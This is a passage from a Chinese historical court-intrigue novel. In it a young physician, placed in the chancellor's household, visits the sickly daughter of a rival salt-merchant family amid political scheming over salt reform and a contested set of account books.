陆七摇摇头,“枫镇那边,宋彦明把消息压的死死的,查不出什么。堰州这里就有些可疑。淮水河畔隶属堰州,按理发生了这么大的命案,官府不可能不知道。但堰州城内,官府却没有任何的记录。”
陆归鸿沉默了一会儿,“或许,南狄并不想让别人知道并窥探其中的玄机。”
“公子,那些人应该是奔着相府那姑娘去的。另外,属下还查到了一些信息。”陆七神色严肃。
“你说。”
“属下按您之前的吩咐去查那女子,却发现此女的背景经历太过于干净。而再往下深挖时却被不明势力阻拦。”
陆归鸿的手指轻轻敲击着小桌,一下又一下。“可知是那一方的人?”
陆七摇头。
陆归鸿剑眉一皱,敲击桌面的手指速度加快了几分。
恰巧这时,远处传来骚动。
“王上出行,闲杂人等一律让开!”
“都闪开!”
十个带刀卫士分两排率先分散人群,清出道路。
不多时,长街尽头就响起阵阵锣鸣。街上的人纷纷跪让到两侧。
有人探头想看,被旁边的人拽回去:“快跪好!”
店铺伙计赶紧把摆在外面的摊子往里收
,有老人颤颤巍巍想走却被家人拦着一起跪着。
不多时,一队黑甲卫先行开道,旌旗随风招展。随后是八人抬的王辇,玄色帷幔低垂,看不清里面的人。辇轿左右两侧都有侍从举着扇子,后方则有骑队跟随。
苑卿桉跟春花在回去的路上就碰到黑甲卫开道的王辇,她跟春花也跪在道路左侧。
人群里有个老婆婆低声说:“这阵仗,都快赶上当年天晟的郡王了。”
身旁的青年吓出一身冷汗,赶紧捂着她的嘴,“阿婆,别瞎说——”
南狄的车驾经过苑卿桉所在的长街时,耳边是百姓的低声议论。他掀开帘子的一角,看了苑卿桉一眼,却什么都没说就放下帘子。
待最后两个骑卫也离开,苑卿桉才站起来。她看着南狄车驾的背影,久久不能回神,直到百姓都自发散去。
“姑娘,您怎么了?”
方才,是南狄再看她吗?
苑卿桉回过神,笑了笑。“没什么!”
“那我们回去吧,这个时间,相爷早就下朝了。”春花瞧着她魂不守舍的样子,脸上闪过一丝担忧。
“好!”苑卿桉跟春花抬脚往相府的方向走去。
茶馆里,陆归鸿也同样有些心神不宁。
“公子,是否需要属下飞鸽传书回去,让十三去查这个女孩?”
“想来她身边定是有人在暗中帮助她。如此一来,即便真查出什么也会打草惊蛇,实在不是上上良策。”陆归鸿思量了一会儿就否决了陆七的提议。
“那我们接下来该如何?”
“按兵不动,先看看这女孩儿能在堰州掀起多大的水花……”
陆归鸿声音轻的近乎听不见,他的眼神里带着旁人看不懂,摸不透的复杂和汹涌。
他伸手去倒茶,无意间抬眸,对面一家酒楼的二楼窗户边,一片紫色衣角一闪而过。
陆七敏锐察觉到异样,等他看过去时,却并未发现那个雅间有什么不妥之处。
“走吧!”
陆归鸿放下碎银,起身离开时,雅间那股日有若无的视线也消失了。
苑卿桉和秋月刚回到相府,就被庄林叫住。
“苑姑娘,相爷有请!”
“好!”苑卿桉说完转头吩咐春花,“你先回清水阁吧。”
春花虽然担心可也无力阻止,只好一步三回头的往清水阁走去。
苑卿桉跟着庄林来到正厅。
只见庄聿安坐在主坐上,他的下侧站着一个白袍少年。
少年转过身来,一袭月白长袍,腰间悬挂着一块成色极好的青玉。
他看了苑卿桉一眼,目光淡淡的,像是看一件刚搬进来的器物,很快就收回去。
“这是犬子思铭,刚从外面回来。”庄聿安指了指旁边的椅子,“你坐吧,也听他说说外面的新鲜事。”
苑卿桉坐下后,庄思铭才接着方才的话题继续说下去。
“盐工那边,明面上都是岳家在养,实则灶户们自己也有小灶。每年产出的盐,有三成都不在账上。而盐商那边,逃税的手法更是隐蔽,他们和外地盐商勾结,把盐价抬上去,再把差价吞进自己兜里,如此一来,朝廷每年收的盐税至少要少三分之一。”
苑卿桉听着,目光落在他的侧脸上。他正对着庄聿安说话,偶尔低头看手里的文书,全程没有再看她一眼。
“这些,都是无伤大雅的小事,岳海晟那个老狐狸自有推脱的说辞,那套账本才是真正的破局之物。”
庄聿安捋了捋自己的胡须,目光落在了苑卿桉身上。
“你怎么看?”
苑卿桉被他突然的提问问的有些疑惑,她没有直接回答这个问题而是直接提出自己的疑问。
“相爷推行盐政改革真的只是为了打击岳家把持行市,充盈国库吗?”
听到苑卿桉这个犀利的问题,庄思铭也不由得多看了她两眼。
“是人都会有私心。岳家的行为已经触犯到了朝廷和百姓的利益,我身为丞相,御百官,体民情是我不可推卸的责任。自然了,这也是我得到王上赏识的又一个机会。”
听着庄聿安这番冠冕堂皇又无懈可击的话,苑卿桉的内心不免产生了动摇。茶馆中那些百姓的片言担忧和抱怨在她脑海中一闪闪过。
她忽然忆起,昔日祖父带着她在良州行医时,他曾看着百姓店铺里的盐愣神。
那时祖父随口提过,从前有个地方的盐价几年都没有涨过。
还记得当时她追问,祖父只是笑着摸摸她的头说:因为管盐的那个人,每天早上都要去盐场转一圈,看看那些灶户的锅够不够厚。
彼时的她尚且年幼,虽不懂其中深意,可却也把这话记在了心里。
所以,那时候祖父眼神中溢满的悲悯,是因为他透过那个盐铺看到的是当时百姓的生活疾苦吗?
苑卿桉心乱如麻,但以她现在的处境,她没有那么多的精力去深入思考那些问题。
“可这跟我有什么关系?我只是一个普通人,相爷说的那些东西,我也未必都懂。”
苑卿桉直视着庄聿安的眼睛,似乎是想透过他的眼神变化,窥探他内心最真实的意图。
可庄聿安只是淡淡的笑了几声。“苑姑娘习得一手好医术,过去又时常在良州行医救人,单凭这些便可知你是个心系百姓之人。盐价事关每一个百姓的生活,也关乎你自己未来的路。苑姑娘当真觉得,这跟你没关系吗?”
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苑卿桉眼眸微垂,没有接话。
此时,整个正厅安静的仿佛都能听到外头落花的声音。
庄聿安也不着急,而是看向庄思铭,寻了个由头把人支开。
“铭儿,你这一路舟车劳顿,先去给你母亲请安,再好好休息一会儿。”
庄思铭眼眸微闪,随即躬身作揖。“孩儿告退!”
庄思铭离开后,苑卿桉的视线还停留在门口,她心里闪过不解。
“呵,铭儿心悦那岳家小姐,后面的谈话,他在,不合适!”
苑卿桉这才收回视线。看来,接下来的事,必定跟岳家有关了。
她沉默了一会儿,“相爷需要我做什么?”
“不是什么难事。”
庄聿安露出了然的微笑。“只是那岳家小姐常年卧病,整个堰州也无一人能将其只好。本相想劳烦岳姑娘去岳家看看。”
苑卿桉一愣,她没想到庄聿安会主动提起这个问题。
庄聿安像是看透了她的心思一般,笑了。“你不是想去吗?那我就给你个由头。这可比你通过接触岳家来猜测本相的意图,要简单许多吧?”
苑卿桉脊背发凉,右手无意识的抓着椅子扶手的一角,像是溺水之人抓住了唯一的浮木一般。
“不必紧张,你只需帮本相探查清楚岳家内部都有哪些异动即可。其余的事,不需要你操心。”
“我明白了!”苑卿桉的声音带着上了点儿沙哑。
“回去好好想吧!”
苑卿桉一路心事重重回到清水阁。她刚坐下,春花就一脸忧容的进来禀报。
“姑娘,夫人来了!”
“我知道了!”
苑卿桉起身走到院子外,陈兰依旧带着上次那些人,气势汹汹。
陈兰今日穿着一件浅蓝色长裙,外搭是一件天青色缭绫长衫。
这正是之前庄聿安送的那一件,这布料轻软如雾,光泽柔和内敛,垂坠感十足,一看就价值不菲。
李妈妈端来藤椅,孙妈妈在椅子上垫好软毯。
“听说,你方才跟老爷相谈甚欢啊?都聊了些什么啊?”
陈兰慢悠悠的拨弄着指甲坐下,语气虽不似之前那般咄咄逼人,但也是压迫感十足。
“相爷只夸我医术尚可,要我前往岳家为岳家小姐治病。”苑卿桉并不想在给自己树敌,所以选择了低姿态的如实回答。
“当真?”陈兰眼睛微亮,抬眸瞥了一眼苑卿桉。那眼神仿佛在说,你说的最好是实话。
“不敢欺瞒夫人!”
孙妈妈上前一步,她瞪了苑卿桉一眼,凑到陈兰耳边。
“夫人,你看老奴说的没错吧,相爷留着她真的只是因为她还有利用价值。等她没了价值,相爷自然就打发了她。”
一旁的刘妈妈也劝慰,“对了,夫人,少爷刚刚回来歇下,想必一会儿该饿了。老奴陪你去小厨房看看晚膳吧。”
“是啊,夫人,这有些人啊,咱们可得离远些,晦气的很!”
陈兰听着她俩一唱一和,也就顺着杆子下坡。
她站起身走,“去了岳家,最好安分守己。若是敢借着这个机会攀附岳家,做出对不起相府的事,你知道后果的!”
陈兰说完不再停留,一群人浩浩荡荡的就离开了清水阁。
苑卿桉站在院门口,看着那群人的身影逐渐消失。风卷起几片落叶,窸窸窣窣声混杂着落叶的清香扑鼻而来。
她站了一会儿才转身回屋。而她不知道的是,暗处那一双眼睛,盯了她很久……
9. 第 9 章
这一夜,苑卿桉握着玉簪,直到烛火燃尽才沉沉睡去。次日醒来时,窗外已是天光大亮。
春花伺候她梳洗打扮好。“姑娘,此去岳家不知是福是祸,不若让奴婢跟着您一起去吧。”
苑卿桉拍了拍她的手,“你留在清水阁即可。多一个人去,岳家的怀疑就会重一分。”
春花欲言又止,最终重重的点头。“那奴婢在相府等您回来。
苑卿桉简单收拾好就出发去岳家了。
岳家宅邸富丽堂皇。乌木牌匾上“岳府”二字龙飞凤舞,檐角高高翘起透着百年望族的庄肃气派,瓦当上的花鸟纹路在阳光下泛着冷光。
苑卿桉敲响大门,说明来意后,下人很快进去禀报。
不多时,她们就被林晚香的贴身丫鬟玉蘅引到了偏厅。林晚香正坐在主位上,低头拨弄算盘,噼啪声里满是当家主母的利落。
“夫人,苑姑娘到了。”
“林夫人!”苑卿桉颔首行礼。
“不必多礼,坐吧!”
林晚香提笔记下账目,抬眼看向苑卿桉,语气倒是平和从容。
玉蘅吩咐人上好茶点就回到林晚香身边,恭谨的站好。
“苑姑娘可是稀客啊,不知今日来我岳家,可是庄相有什么吩咐啊?”
“不瞒夫人,我是游医出身,略会一些医术。相爷听闻岳小姐常年卧病不起,特让我前来为小姐诊治。”
听着苑卿桉直白的话,林晚香眉眼染上了一丝淡漠的笑意。
“有劳庄相费心了。只不过,帆儿都是些老毛病了。从前也请了不少天下的名医,这流水一样的药吃下去啊,也不曾有什么起色。只怕,苑姑娘要白跑一趟了。”
苑卿桉微微一笑:“林夫人说得是。天下名医都束手无策的病,我区区一介游医,怎敢夸下海口一定能治。”
她顿了顿,语气愈发诚恳:“只是,庄相既然吩咐了,我总得走这一趟。若是连面都不见就回去,相爷问起来,我实在不好交代。”
“只消看一眼便好。若实在无能为力,我也不会强求。”苑卿桉微微欠身,表明自己的诚心。
林晚香似笑非笑地看着她。“苑姑娘特意来这一趟,不知是真心想为帆儿治病,还是……另有所图呢?”
苑卿桉神色不变。“林夫人说笑了。我一个游医,能图什么?不过是医者本心外加受命于人罢了。”
两人对视片刻,林晚香忽然笑了。“那就劳烦苑姑娘了。蘅儿,带苑姑娘去落月小筑。”
“是,夫人!”
玉蘅带着苑卿桉前往落月小筑。
偏厅到落月小筑不过百米,穿过回廊时,苑卿桉的视线是时不时落在回廊两侧。
这两侧的乌木素绘栏杆连接着镂空柱子,柱顶上的石狮或神态威严,或扬尾或垂目,沉沉的盯着来人。
金色阳光从镂空的房梁间洒下,在昏暗的回廊里映出斑驳的光影。苑卿桉的影子落进去,就像是被那片孤寂吞没了一般。
到了落月小筑门口,屋内的丫鬟无绿迎了上来。她看到苑卿桉,疑惑了一瞬,随后浅笑着行礼。
“玉蘅姑娘,您怎么过来了?可是夫人有什么吩咐?”
玉蘅温柔一笑,声音压低,像是怕惊扰了什么似的,“小姐今日精神可好些了?”
“小姐今日尚可,早膳多喝了小半碗米粥,现下正在院里晒太阳看书呢。”
玉蘅了然,她看了一眼旁边的苑卿桉,随后才看向无绿,那眼神里分明带着点深意。
“这是苑姑娘,庄相派来给小姐看病的,夫人已经见过了。带我们去看看小姐。”
无绿心领神会,对着苑卿桉淡淡一笑。“苑姑娘,里边请。”
苑卿桉跟着玉蘅进入庭院时,岳千帆正坐在那棵大栾树底下的石椅上看书。
金秋时节,栾树花漫天纷飞,落在她的发丝、肩头,添了几分清润柔美。
苑卿桉被阳光下的那一树金黄晃的眼睛微眯。她下意识抬手遮挡了几秒,待适应之后她细细看过去,发现枝头竟挂满了红彤彤的“灯笼”。
花正黄,果却已红。
苑卿桉看着眼前的景致,只觉得好生奇怪——明明已经是秋日了,树上却还留着夏日的花。
玉蘅见她驻足,淡淡道:“这是栾树,也唤大夫树,花果同枝。这是岳家祖上传下来的规矩,府中每个庭院都会种植一棵。”
苑卿桉心里一动,这是在隐晦的告诉每一个入府之人,他岳家是士阶层吗?
她收回视线,随后才把目光放在岳千帆身上。
岳千帆一身素色长裙,外披鹅黄色披风,长发及腰散落肩头。她的目光落在手上的书本里。听见动静后才慢慢转抬起头。
苑卿桉呼吸一窒,那是一张苍白到近乎透明的脸。眉眼很淡,淡的像是一幅褪了色的水墨画。她看着苑卿桉,目光平静,没有好奇,也没有敌意。
“小姐,这是苑姑娘,庄相特意引荐来为您治病的。”
玉蘅上前一步解释了一句后微微侧身,让她能更清楚的看清苑卿桉。
岳千帆放下书,当她听到庄相两个字时,脸上闪过一丝极淡的惊讶和警惕。
“那就有劳姑娘了。”她的声音很轻,还混着两声细咳。
苑卿桉取从小药包里取出脉诊垫在石桌上,岳千帆把手放上去。
她的手指轻轻搭在岳千帆的脉搏上,触碰到岳千帆冰凉的肌肤,她不禁颦眉蹙额。
无绿看着她的样子,揪着帕子的手紧了好几分,就连呼吸都放重了两分。
片刻后,苑卿桉收回手。
“姑娘,我家小姐的病如何?”无绿着急询问。
玉蘅虽没有追问,但她的眼中也写满了担忧。
“脉象沉细无力,气机滞郁,应该是常年忧思不断,五内郁结所致。我先开一副药你试试。”
“好!”
岳千帆的脸色没什么变化,就仿佛是早有此猜想。
苑卿桉说完拿出纸笔写下药方递给无绿。
“按这个方子去抓药。”
“多谢苑姑娘。”
“既然小姐的病也看完了,那奴婢送苑姑娘出去吧。”玉蘅公事公办,伸出右手做邀请状。
苑卿桉起身准备离开,可当她走到门口时,她忍不住回头看了岳千帆一眼。
也就是这一眼,两个人的视线对上了,明明什么都没说却又好像什么都说了。
最终,苑卿桉抬脚离开了落月小筑。
“小姐,那是庄家的人……”
无绿给她换了一杯热水,她欲言又止最终还是没把后面的话说出来。
“她……也许,是个不一样的……”
无绿没有说话,只是忧心忡忡的看着她。
岳千帆还想
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说什么时,忽然感觉胸腔内一阵翻涌。她偏过头,用手帕掩住口鼻。肩膀微微耸动,却没有声音。
她分明是在忍着。
好一会儿,她才轻轻呼出一口气,手帕上多了一抹淡红,被她极快地收进袖中。
“小姐,您别说了!”无绿眼睛一酸,眼泪就哗啦哗啦往下掉。
“院子里风大,奴婢扶你先回房吧。”她小心翼翼的扶着岳千帆回了房间。
苑卿桉从落月小筑出来,一路上总觉得有人在盯着自己,但是这跟她在街上时被监视的感觉又完全不一样。
玉蘅一路将苑卿桉送到门口,“姑娘,您慢走。”
“多谢!”
苑卿桉站在门口,看着那扇朱红大门缓缓关上。
看来,这座看似平静的宅院下,也藏着不亚于庄家的暗流!
她收回视线,转身离开。
就在她离开后,一抹黑色身影一闪而过。
“人送走了?”
岳海晟在房间里摆弄着自己的珍藏瓷器。
“玉蘅姑娘送走的,暗卫也全程盯着。”岳群低声回禀。
“你怎么看?”
“这苑姑娘的事,老爷子你心里跟明镜儿似的,老奴怕扰了您的思绪。”
岳海晟拿着干净的帕子,仔仔细细的擦拭着手里的越窑秘色瓷花口瓶。
那瓶口作六瓣莲花状,通体都是青釉。釉色如千峰翠色,在午后阳光下泛着温润的光泽。
“如今盐政改革刚刚有了一点儿起色,庄聿安自然是迫不及待想要抓到我岳家的把柄。”
“老奴瞧着那姑娘也不像是完全听命于庄相,若是利用得当,也不失为一把利器。”
“你见过她了?”岳海晟眼皮都没抬一下,可屋里的气氛却凝重了几分。
“老奴远远看过一眼,模样倒是还可以,至于品行,还有待考察。”岳群顿了顿,接着说。
“老爷子,有夫人在前面把关,您也别太担心了。”
“晚香的能力我还是很认可的,只不过此女牵扯的太多,难保哪天不会连累到岳家。”岳海晟擦拭瓷器的手慢了下来。
“上次契约的事查的怎么样了?”
“二爷那边只查到一个替罪羔羊,老奴私下叫暗网去查,发现果然是有人在帮庄家。”
岳海晟擦拭瓷器的手停了下来,他把东西放下。“可知是谁?”
岳群面露难色,眼底飞快闪过一丝恐惧。“暗网只回复说对方深不可测,而且,上次派去深入调查苑姑娘的人都被灭口了。”
“这是警告么吗……”岳海晟眼睛眯成了一条缝,看不清他的神色。
“老爷子,那我们接下来?”
“既然有人不想我们往下查,那就把人都撤回来。”岳海晟只用了几秒稳定好心绪,随后像是想到什么。
“帆儿的病,她怎么说?”
“跟之前那些大夫说的都大差不差,药方也已经开了。”岳群说这话时,微不可查的叹了一口气。
“且先让帆儿把药吃下去!”
“老奴明白。”
岳群离开后,他的目光落在桌上的秘色瓷上,许久未动。
窗外微风吹过,栾树的果子在树梢间轻轻晃动着。他忽然想起三年前整个天下都在流传的一句话:星云现世,天下大乱。
难道……堰州的天要变了吗?
10. 第 10 章
时间一晃就过了好几天,清水阁的残荷又落了几瓣。
这些时日,苑卿桉虽大部分时间都在清水阁研究药方,但也从府中下人偶尔的闲聊中捕捉到了不少信息。
庄聿安近日回府的时间越来越晚,丫鬟每日送去的新茶茶杯次次都不一样,还有那扇经常紧闭的书房门……
想必,是他的盐政改革在朝堂之上推行的并不算顺利。
苑卿桉一身蓝色长裙,坐在池子边的礁石上。她手里拿着的书放在膝盖之上,视线却落在池子里。
池中荷叶尚且脆绿,可荷花却已然稀疏,只有三两朵还立在秋水边。粉白的花瓣映着日光,泛黄的莲蓬上还停着一只红蜻蜓。
景致鲜活,却暖不进她心里。
苑卿桉极轻的叹了一口气,“菡萏香销翠叶残,还与韶光共憔悴。”
话音落下,她沉默了一瞬。
她忽然想起,祖父从前也喜欢在秋日吟诗。那时枫镇的池塘里也种着荷花,祖父坐在岸边,她就蹲在水边捞落花。
祖父……
就在她黯然神伤之时,肩头一阵暖意袭来,她下意识的回头。
“姑娘,如今是九月了,院子里风大,奴婢给您拿了件披风。”
春花把披风披在她身上,又走到她面前微微弯腰替她系好带子。
苑卿桉心里涌上淡淡的暖流,她轻轻握住春花的手拍了拍。
春花回以她一个温柔浅笑,“姑娘,奴婢见您方才一直盯着那几根残荷,残荷煞景,您若是不喜欢,奴婢就让人拔了去。”
苑卿桉摇摇头,目光又放在那残荷之上,“拔了做什么?荷花开了,残了,都是一让人看的。”
她的脑海里不由的闪过枫镇那些邻居的模样,声音低了下去。“花有开有谢,人亦有枯荣之常。残荷不是煞景,那只是……它活过的痕迹。”
春花看着她眼里朦胧的阴影,明明看上去那么暗,却偏偏给人一种阳光透过云雾照进来的光感。
她挠了挠自己的头,没再说话。
苑卿桉唇角微勾,笑着摇摇头岔开了话题。
“相爷可回来了?”
“相爷和几个大人在书房议事,一时半会儿只怕没时间见您了。”
苑卿桉若有所思的点点头,视线放在了书本上,但余光却悄悄观察着春花。
春花见她突然沉默,张了张嘴想说什么又咽了回去。
如此反复几次后,她咬了咬牙,像是下定了决心一般,抬起头,低声提醒了一句。
“姑娘,您再去岳家时一定要多加小心,千万别相信任何人。”
苑卿桉的手停在书页上,她抬眸看向春花。
“姑娘,相爷一直有派人暗中盯着您,夫人这几日也找奴婢问过您的日常。”春花说这话避开了苑卿桉的眼神时,看向了别处。
“你告诉她跟相爷了?”苑卿桉没有责骂,也没有生气,只是收回视线继续看书。
原来,这些时日的温暖终究还是掺杂了任务和算计。
明明从一开始就知道的,可……
春花扑通一声跪下,“奴婢没有要害姑娘你的意思,奴婢只是……”
她低垂着头,似乎是不知道该说什么了。
“罢了!”
苑卿桉看着跪在地上的人,忽然有些恍惚。
这世上的事从来都是太多的身不由己。春花是,她自己又何尝不是呢?
“姑……姑娘……”
春花有些不知所措的看着她,愣愣的跪在地上。
苑卿桉拿起书从礁石上站起来把人扶起,拍掉她裙子上的灰尘。“做奴婢的,哪有不听主子吩咐办事,都是身不由己。”
“姑娘!”
春花眼睛里氤氲出水雾,她再次跪下磕头,却一句话说不出来。
“好了,我要再去岳家为岳家小姐诊治,清水阁就交给你了。”
苑卿桉说完就拿起自己的药包离开了。
直到脚步声消失,春花才抬起头,盯着她的背影,眼神复杂。
苑卿桉来到岳家,门口的小厮立马回禀。
约摸一盏茶后,无绿出来了。
“苑姑娘,小姐听说您来了,特意让奴婢带您进去,您请跟我来。”
“好。”
苑卿桉跟着无绿一路来到落月小筑。她远远就瞧见了在树下做女工的岳千帆。
“小姐,苑姑娘来了!”
岳千帆抬眸,目光淡淡的,像在看一片落下来的栾花。“苑姑娘。”
她轻轻唤了一声,便垂下眼,继续手里的针线。
“嗯,这几日觉得如何?”苑卿桉在她身旁坐下,细细打量着她的脸色。
无绿端来新泡的菊花茶和山药紫薯糕。
茶汤清新透亮,菊花在盏中舒展开来,淡黄的花瓣衬着青瓷,别有一番韵味。山药糕切成小方块儿,紫薯泥嵌在中间,糯白的糕体上撒了几粒干桂花,清甜之气扑鼻而来。
“说不上好,也说不上不好。左右,都是喝那些苦药罢了。”
“我瞧着,你的气色倒是比前几日要好一些了。”
岳千帆穿针引线的手停了几秒,随后若无其事的继续刺绣,绣了几针她揉了揉眼睛。
“小姐,您看奴婢说的没错吧?奴婢就说你的病好多了,你还不信呢。”无绿噘着嘴把她手里的针线拿走了。
“多嘴,还不下去。”岳千帆随是轻声呵斥,可却没有半分责怪之意。
“那奴婢先去给你煎药。”无绿俏皮的行了个礼,就把时间和空间留给了她们。
只是临走到门口,她还是不放心的看了苑卿桉一眼才离去。
整个院子里只剩下她们两个人。
“苑姑娘,你真的能治好我吗?”岳千帆率先打破沉默,她无波无澜,无悲无喜的看着苑卿桉。
“我先为你把脉。”
岳千帆缓缓撩起衣袖,伸出手放在脉诊上。
苑卿桉手指搭在她腕间,眉心飞快的松动了一瞬。“会慢慢好起来的。”
“什么?”
听着岳千帆充满了不确定和些许期待的语气,她犹豫了一下还是把手轻轻放在岳千帆的手背上。
“你现在的身子还是很弱,需要好好调养,病中切忌多愁多思。”
苑卿桉的手很暖,就像是冬日里的暖炉,温温的孕育着,不烫手,刚刚好。
那一瞬间,岳千帆仿佛领略到了久违的诚挚的温暖,她静静的看着她。
“苑姑娘,陪我坐一会儿,晒晒太阳吧。”
苑卿桉惊讶了一瞬,心里却有了别的主意。她先是温和一笑,随后有些为难的看着她。
“我毕竟是相府的人。按理,我看完病了就该立刻离开的。若是让林夫人撞见我在这儿停留,惹了林夫人不快事小,只怕还会连累你。”
岳千帆摇摇头,捻起一块山药紫薯糕,吃了一口就没胃口放下
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了。
“近日母亲去巡视盐田了,她没空来我这儿。”
苑卿桉听到林晚香亲自去盐田了,眼眸闪烁了几下。
岳千帆见她没说话,又补了一句。“府中事务繁忙,母亲回来还要料理各项事宜,我这院子,倒也是清净。”她说这话时,莫名带上了几分落寞和哀凉。
“坐吧。”
“嗯。”
两个人在栾树下相对而坐。
亮色碎瓦片和褐色,墨黑色卵石铺就的地面上落满了金黄卷曲的栾树叶,偶有的一点鲜红果实更是为整个小院平添了几分古意美。
与落月小筑的安宁祥和不同,岳海晟的书房此刻却充满了压抑。
岳海晟坐在主位之上,手指转动着扶手上的盘珠,听着底下人汇报最近关于盐政改革的消息。
岳安平,岳安福一左一右站在岳海晟身边。
“岳老,如今盐田明年就要由朝廷接手的的消息闹得沸沸扬扬,底下的盐商都人心惶惶。虽说有三爷在中间斡旋,可我听说有的人已经在悄悄接触相府了。”
吴虞眉心紧皱,他说完后,端起茶盏喝了一口。茶已经凉透了,但他没在意
“还不止呢,现在庄相仗着有王上撑腰,居然明目张胆的开始查探那些盐户的地契,实在可恨!”
盐田巡官林海心里憋着一口气,却还是保持着清醒,没有当场发作。
“这些倒是好解决。眼下棘手的是,孙绍祖咬死了账本不放,庄家还明面上塞了一个人到我身边。若是长此下去,必定东窗事发。”
勾覆官温垚的话让吴虞和林海的脸色相继一变——账本的事他们也都知晓一二,若是真被查出点什么……
两人不约而同的看着岳海晟。
“既然那些人觉得跟着我岳家没出路了,那就送他们一条新出路。”
岳海晟的话语很轻,轻的就像是在说一件跟自己无关的事。可这话落在屋里,却像一块石头。
没有人接话。岳安平垂着眼,岳安福盯着地面,几个幕僚也都不约而同地放缓了呼吸。
半晌
“岳老,您的意思是?”林海看了一眼岳安平,而后试探性的询问。
“留下忠心的,剔除随波逐流的,这对岳家才是最好的。老二,找个时间把这件事办了。”
“儿子明白了。”
“再过两日,孙绍祖就要奉旨去巡视盐田,晚香已经去盐田那边儿打点了。福儿,你到时候派人暗中跟进即可。”
“好。”
岳安福应了一声后,又迟疑道:“父亲,若是孙绍祖当场查出什么,是否要……?”
岳海晟抬手制止,“不必。有晚香在,出不了什么事。”
岳海晟说完又看向温垚,“他既然塞了人给你,那就好好利用起来,别辜负了我们相爷的美意。”
温垚几乎是瞬间就明白了他的意思,他露出一抹了然的笑。
窗外,一只乌鸦掠过,影子投在书案上,一瞬即逝。岳安平下意识抬头,却只看到一抹黑影掠过。他皱了皱眉,没说什么。
“岳老放心,那套老账本够他啃好长一段时间了。”说着,他嘴角的弧度扩大了几分。
“这真的假不了,假的……,也真不了!”他这话说得意味深长,几人对视一眼,都露出心照不宣的神色。
岳海晟挥了挥手。“都下去吧。记住,这些日子,凡事多留个心眼。”
“是。”
11. 第 11 章
温垚三人把桌子上的茶一饮而尽,打开门准备离开,刚好在府中庭院的回廊里碰到了苑卿桉跟无绿。
苑卿桉跟无绿是从小厨房的方向过来,无绿手里还提着一个紫檀木药盒。
远远看见他们,无绿忙给苑卿桉使眼色,两人退避到回廊右侧。她轻轻扯了扯苑卿桉的袖子,示意她低头。
“见过三位大人。”
苑卿桉低下头没说话,也跟着行了一礼,可她的视线却在温垚腰间晃动的牙牌上停了几秒。
——上面写着“勾覆”二字。
“这位姑娘很面生啊,不知是谁的客人?”吴虞脚步慢了下来,目光在她身上转了一圈。
那眼神说不上友善,也说不上敌意,更像是发现了什么新鲜有趣的东西。
无绿赶紧回话,“这是苑姑娘,来为我家小姐看病的。”
苑卿桉不躲不闪,迎上吴虞的目光。“见过几位大人。”
“苑姑娘?”吴虞念了一遍她的名字,眼神在她脸上停了一瞬,“我好像在哪儿听过这个名字。”
温垚忽然开口,“前些日子,庄相府上来的那位!”
林海轻哼一声。“原来是庄相的人。怎么,岳小姐如今请大夫,都要劳烦庄相亲自荐人了?”
“庄相举荐的人自然是极好的。就是不知道,这位苑姑娘的心是不是也和她的医术一样干净呢?”吴虞嘴角挂上了似有若无的笑意。
无绿放低呼吸声,把头埋得更低,看着自己的脚尖。
苑卿桉微微欠身,像是没听懂一样,嘴角还扬起一抹无懈可击的笑容。“大人说笑了。”
“好了,早日回去做准备才是要紧事。”温垚多看了她一眼,率先抬脚离开。
吴虞跟林海见状也跟上温垚的步伐,三人并肩离开,脚步声渐行渐远。
直到整个回廊安静的能听到风声时,无绿才抬起头。
苑卿桉站在原地好一会儿都没动。
“姑娘,咱们回去吧。”
回到落月小筑时,岳千帆依旧坐在那树下,她的背影孤寂又苍凉。
苑卿桉看着地上的影子,心里莫名被刺了一下,有点酸酸的。
“小姐,奴婢把药拿来了,您趁热喝了吧。”无绿把热气腾腾的药端出来放在桌面。
“你下去吧,我想跟苑姑娘待一会儿。”
“这……”无绿面露担忧和警惕。
“你先去忙吧,我陪她一会儿。”苑卿桉打圆场,端起桌上的药轻轻搅拌着吹凉喂给岳千帆。
无绿见状只好关上院门出去了。
岳千帆看着苑卿桉喂到嘴边的汤药,诧异了几秒后就张嘴喝下。
“你是有话想跟我说吗?”苑卿桉一口一口的喂着她喝药,还贴心的拿起帕子给她擦拭嘴角残留的药汁。
“我的小院已经好几年没有人踏足,我还以为不会有人记得我了。没想到,你还会来。”岳千帆浅浅的微笑,露出两个小酒窝。
此刻的她少了几分娇弱和病气,多了几分可爱灵动。
苑卿桉闻言心里的酸涩更加浓郁,但她却没有选择表现出来。
“许是我病的太久了,总觉得心里空落落的。那么久没看过阳光了,就连它照在身上,也总有一种不真切的幻梦感。”苑卿桉喂完最后一口药,放下空碗,握住她的手。
“日后,我便常来看你,陪你解解闷,可好?”
岳千帆的眼睛瞬间就亮了,她的笑容依旧很淡,可却好像又有些不一样了。
她冰凉的手覆在苑卿桉温暖的手背上。“只是,这些时日你上午来就好。祖父最近在朝堂颇为不顺心,下午要见几个大人。你莫要跟他们撞上了。”
“方才,我同无绿去拿药时便见到了勾覆官温垚,他看起来很是随和内敛。”苑卿桉很自然的就把话题扯到了温垚身上。
岳千帆看着她,隔了几秒后浅笑。那笑意很淡,眼底却有什么一闪而过,是了然,还是无奈?
苑卿桉自己也说不清。
“温大人很得祖父赏识,我也见过一次。我们家的账和账本,有些就是他在处理。他这两天在整理一套老账本,免不了要经常往家里跑。”
苑卿桉握着她的手轻轻一紧又一松,唇边漾开很淡的笑意。
“说起来,我到底是庄相的人,你告诉我这边就不怕我回去告诉庄相吗?”
“我知道你会。但那是因为你没有选择的余地。可,说什么,不说什么,你却可以有自己选择,不是吗?”
苑卿桉的那根心弦像是被什么轻轻波动了一般,荡漾着说不清道不明的酸涩。她忽然觉得,这个病弱的姑娘远比她想象中更通透。
正说着话,岳千帆的呼吸重了几分,脸上的血色也淡了一些,她端起茶杯喝了小半杯水才缓下咳嗽感。
苑卿桉起身轻轻拍着她的后背,给她顺气。
“咳咳咳!”岳千帆剧烈的咳嗽了好几声,她捂着心口,微微颤抖着,面色苍白入纸。
“吃这个!”苑卿桉从怀里掏出一个红色小瓷瓶,倒出一粒棕色小药丸喂她服下。
吃了药,岳千帆又喝了点儿水才终于止住咳嗽,她感激的看着苑卿桉。
“苑姑娘,谢谢你。”
“我是医者,你是我的病人,也是……”苑卿桉眼神闪烁过后变得真挚。
“也是我的朋友,不必跟我客气。”
岳千帆瞧着她的反应,心里既有一丝无奈和痛苦,却也有一丝暖流。
“时间不早了,我让无绿送你出府吧。”
“好,那你好好修养。”苑卿桉说着又提笔写下新的药方给她。
“这是新的药方,你按着方子吃,我过两日再来看你。”
